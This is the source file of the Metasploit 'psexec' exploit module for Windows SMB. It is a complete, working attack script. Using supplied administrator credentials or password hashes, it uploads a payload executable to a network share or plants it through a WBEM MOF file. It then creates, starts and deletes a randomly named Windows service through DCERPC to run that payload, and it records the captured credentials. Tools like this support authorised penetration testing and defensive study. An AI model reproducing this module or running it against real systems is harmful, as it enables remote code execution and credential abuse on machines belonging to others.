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metasploit-framework/modules/exploits/windows/smb/psexec.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
=begin
Windows XP systems that are not part of a domain default to treating all
network logons as if they were Guest. This prevents SMB relay attacks from
gaining administrative access to these systems. This setting can be found
under:
Local Security Settings >
Local Policies >
Security Options >
Network Access: Sharing and security model for local accounts
=end
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Remote::SMB::Authenticated
include Msf::Auxiliary::Report
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Authenticated User Code Execution',
'Description' => %q{
This module uses a valid administrator username and password (or
password hash) to execute an arbitrary payload. This module is similar
to the "psexec" utility provided by SysInternals. This module is now able
to clean up after itself. The service created by this tool uses a randomly
chosen name and description.
},
'Author' =>
[
'hdm',
],
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 10,
'EXITFUNC' => 'process'
},
'References' =>
[
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106'],
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true,
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
# For the CVE, PsExec was first released around February or March 2001
'DisclosureDate' => 'Jan 01 1999'
))
register_options(
[
OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
], self.class )
register_advanced_options(
[
OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true]),
OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]),
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil])
], self.class)
end
def exploit
print_status("Connecting to the server...")
connect()
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
smb_login()
if (not simple.client.auth_user)
print_line(" ")
print_error(
"FAILED! The remote host has only provided us with Guest privileges. " +
"Please make sure that the correct username and password have been provided. " +
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
"to network logins by default."
)
print_line(" ")
disconnect
return
end
if datastore['DB_REPORT_AUTH'] and datastore['SMBUser'].to_s.strip.length > 0
report_hash = {
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:sname => 'smb',
:user => datastore['SMBUser'].downcase,
:pass => datastore['SMBPass'],
:active => true
}
if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
report_hash.merge!({:type => 'smb_hash'})
else
report_hash.merge!({:type => 'password'})
end
report_auth_info(report_hash)
end
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
if datastore['MOF_UPLOAD_METHOD']
# payload as exe
print_status("Trying wbemexec...")
print_status("Uploading Payload...")
if datastore['SHARE'] != 'ADMIN$'
print_error('Wbem will only work with ADMIN$ share')
return
end
simple.connect("ADMIN$")
exe = generate_payload_exe
fd = smb_open("\\system32\\#{filename}", 'rwct')
fd << exe
fd.close
print_status("Created %SystemRoot%\\system32\\#{filename}")
# mof to cause execution of above
mofname = rand_text_alphanumeric(14) + ".MOF"
mof = generate_mof(mofname, filename)
print_status("Uploading MOF...")
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
fd << mof
fd.close
print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")
# Disconnect from the ADMIN$
simple.disconnect("ADMIN$")
else
servicename = rand_text_alpha(8)
# Upload the shellcode to a file
print_status("Uploading payload...")
smbshare = datastore['SHARE']
fileprefix = ""
# if SHARE = Users/sasha/ or something like this
if smbshare =~ /.[\\\/]/
subfolder = true
smbshare = datastore['SHARE'].dup
smbshare = smbshare.gsub(/^[\\\/]/,"")
folder_list = smbshare.split(/[\\\/]/)
smbshare = folder_list[0]
fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
else
subfolder = false
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{filename}", 'rwct')
end
exe = ''
opts = { :servicename => servicename }
if (datastore['PAYLOAD'].include? 'x64')
opts.merge!({ :arch => ARCH_X64 })
end
exe = generate_payload_exe_service(opts)
fd << exe
fd.close
if subfolder
print_status("Created \\#{fileprefix}\\#{filename}...")
else
print_status("Created \\#{filename}...")
end
# Disconnect from the share
simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")
# Connect to the IPC service
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
# Bind to the service
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
##
# OpenSCManagerW()
##
print_status("Obtaining a service manager handle...")
scm_handle = nil
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.long(0) +
NDR.long(0xF003F)
begin
response = dcerpc.call(0x0f, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
scm_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
##
# CreateServiceW()
##
# define the file location
if datastore['SHARE'] == 'ADMIN$'
file_location = "%SYSTEMROOT%\\#{filename}"
elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}"
else
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
end
displayname = 'M' + rand_text_alpha(rand(32)+1)
svc_handle = nil
svc_status = nil
print_status("Creating a new service (#{servicename} - \"#{displayname}\")...")
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.uwstring(displayname) +
NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore
NDR.wstring( file_location ) + # Binary Path
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) # Password
begin
response = dcerpc.call(0x0c, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
svc_status = dcerpc.last_response.stub_data[24,4]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
##
# CloseHandle()
##
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception
end
##
# OpenServiceW
##
print_status("Opening service...")
begin
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.long(0xF01FF)
response = dcerpc.call(0x10, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
##
# StartService()
##
print_status("Starting the service...")
stubdata =
svc_handle +
NDR.long(0) +
NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
##
# DeleteService()
##
print_status("Removing the service...")
stubdata =
svc_handle
begin
response = dcerpc.call(0x02, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
print_error("Error: #{e}")
end
##
# CloseHandle()
##
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception => e
print_error("Error: #{e}")
end
begin
print_status("Deleting \\#{filename}...")
select(nil, nil, nil, 1.0)
#This is not really useful but will prevent double \\ on the wire :)
if datastore['SHARE'] =~ /.[\\\/]/
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
simple.delete("\\#{fileprefix}\\#{filename}")
else
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
simple.delete("\\#{filename}")
end
rescue ::Interrupt
raise $!
rescue ::Exception
#raise $!
end
end
handler
disconnect
end
end
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